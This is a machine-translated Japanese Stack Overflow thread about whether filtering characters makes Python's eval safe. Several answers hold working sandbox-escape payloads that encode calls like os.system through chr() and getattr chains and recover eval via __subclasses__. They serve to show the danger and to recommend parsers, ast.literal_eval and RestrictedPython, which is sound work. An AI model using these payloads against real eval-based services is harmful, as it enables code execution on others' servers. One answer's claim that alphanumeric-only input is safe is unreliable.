13

セキュリティで保護されていない文字列で Python の eval を使用することについて、SO には多くの質問があります(例: Security of Python's eval() on untrusted strings?Python: make eval safe )。満場一致の答えは、これは悪い考えだというものです。

ただし、安全と見なすことができる文字列に関する情報はほとんど見つかりませんでした (存在する場合)。今、利用可能な「安全な文字列」の定義があるかどうか疑問に思っています(例:小文字のASCII文字または記号+-* /()のいずれかのみを含む文字列)。私が見つけたエクスプロイトは、一般的に _.,:[]'" などのいずれかに依存していました。このようなアプローチは (グラフ描画 Web アプリケーションで使用するために) 安全でしょうか?

それ以外の場合は、Alex Martelli が提案したように解析パッケージを使用することが唯一の方法だと思います。

EDIT:残念ながら、上記の文字列が安全でないと見なされる理由/方法(小さな実用的なエクスプロイト)について説得力のある説明を与える答えも、反対の説明もありません。eval の使用は避けるべきであることは承知していますが、それは問題ではありません。したがって、有効なエクスプロイトを思いついた最初の人、または上記のように壊れた文字列が (安全ではない) と見なされる理由を本当に適切に説明した人に報奨金を授与します。

4

7 に答える 7

14

ここでは、制限が適用された作業中の「エクスプロイト」があります-小文字のASCII文字または記号 +-*/() のみが含まれています。2 番目の評価レイヤーに依存します。

def mask_code( python_code ):
    s="+".join(["chr("+str(ord(i))+")" for i in python_code])
    return "eval("+s+")"

bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)

出力:

eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user

これは非常に些細な「悪用」です。さらに文字制限を加えても、他にも数え切れないほどあると思います。常にパーサーまたは ast.literal_eval() を使用する必要があることを繰り返します。トークンを解析することによってのみ、文字列が安全に評価できることを確認できます。それ以外は家に賭けています。

于 2012-11-08T07:58:50.357 に答える
9

いいえ、賢明で真に安全な方法はありません。少なくとも、そうではありません。Pythonは非常に動的な言語であり、その反面、言語をロックダウンしようとする試みを簡単に覆すことができます。

必要なサブセット用に独自のパーサーを作成するか、ast.literal_eval()特定のケースに遭遇したときに、のような既存のものを使用する必要があります。ひどく、既存のツールにあなたが望む仕事をさせようとするのではなく、目前の仕事のために設計されたツールを使用してください。

編集:

2つの文字列の例。説明を適合させながらeval()、順番に編集すると、任意のコードが実行されます(この特定の例ではevil.__method__()

"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"
于 2012-10-25T10:31:45.767 に答える
7

goncalopp のエクスプロイトに似ています'eval'が、文字列がエクスプロイトの部分文字列ではないという制限も満たしています。

def to_chrs(text):
    return '+'.join('chr(%d)' % ord(c) for c in text)

def _make_getattr_call(obj, attr):
    return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)

def make_exploit(code):
    get = to_chrs('get')
    builtins = to_chrs('__builtins__')
    eval = to_chrs('eval')
    code = to_chrs(code)
    return (_make_getattr_call(
                _make_getattr_call('globals()', '{get}') + '({builtins})',
                '{eval}') + '({code})').format(**locals())

getattrこれは、コンマを使用せずに 2 つの引数で呼び出すために、genexp とタプルのアンパックの組み合わせを使用します。

使用例:

>>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0

これは、コードを安全にするテキストのみに制限を定義することが非常に難しいことを証明しています。のようなものでさえ'eval' in code安全ではありません。関数呼び出しを実行する可能性をまったく除去するか、の環境からすべての危険な組み込みを除去する必要があります。eval私のエクスプロイトは、オブジェクト階層に任意に入ることができるため、コンマを使用できない場合でもgetattr同様に悪いことを示しています。evalたとえばeval、環境が提供していない場合でも、実際の関数を取得できます。

def real_eval():
    get_subclasses = _make_getattr_call(
                         _make_getattr_call(
                             _make_getattr_call('()',
                                 to_chrs('__class__')),
                             to_chrs('__base__')),
                         to_chrs('__subclasses__')) + '()'

    catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
                                                            _make_getattr_call('c',
                                                                to_chrs('__name__')),
                                                            to_chrs('catch_warnings'))

    return _make_getattr_call(
               _make_getattr_call(
                   _make_getattr_call(catch_warnings, to_chrs('_module')),
                   to_chrs('__builtins__')),
               to_chrs('get')) + '(%s)' % to_chrs('eval')


>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>

すべてのビルトインを削除しても、コードは安全になります。

>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined

'__builtins__'to を設定すると、、などNoneも削除されることに注意してください。ユーザーは何にもアクセスできないため、文字制限toの組み合わせは完全に安全です。、括弧、または組み込みの関数や型を使用することはできません。chrlisttuple '__builtins__'None.[]

そう言わざるを得ませんが、評価できるものはかなり限られています。数値を操作する以上のことはできません。

おそらく、ビルトインからevalgetattr、およびを削除してコードを安全にするだけで十分でしょう。少なくとも、それらの 1 つを使用しないエクスプロイトを作成する方法は考えられません。chr

「解析」アプローチはおそらくより安全で、柔軟性が高くなります。たとえば、このレシピは非常に優れており、簡単にカスタマイズして制限を追加することもできます.

于 2012-11-10T11:17:03.617 に答える
4

安全な eval を作成する方法を研究するには、RestrictedPython モジュールをお勧めします (10 年以上の実稼働環境での使用、Python ソフトウェアの優れた部分の 1 つ)

http://pypi.python.org/pypi/RestrictedPython

RestrictedPython は Python ソース コードを取得し、その AST (Abstract Syntax Tree) を変更してサンドボックス内で安全に評価できるようにします。これにより、サンドボックスからの脱出を可能にする可能性のある Python の内部情報が漏えいすることはありません。

RestrictedPython ソース コードから、Python サンドボックスを安全にするために実行する必要があるトリックの種類を学びます。

于 2012-11-11T01:59:24.160 に答える
1

実際には、おそらく eval を避けるべきです。

しかし、それに固執している場合は、文字列が英数字であることを確認できます。それは安全なはずです。

于 2012-10-25T23:49:23.537 に答える
0

入力サニタイズ ルーチンを作成するだけでは十分ではありません。また、サニタイズが誤って省略されていないことを確認する必要があります。これを行う 1 つの方法は、汚染チェックです。

于 2012-11-12T04:54:59.320 に答える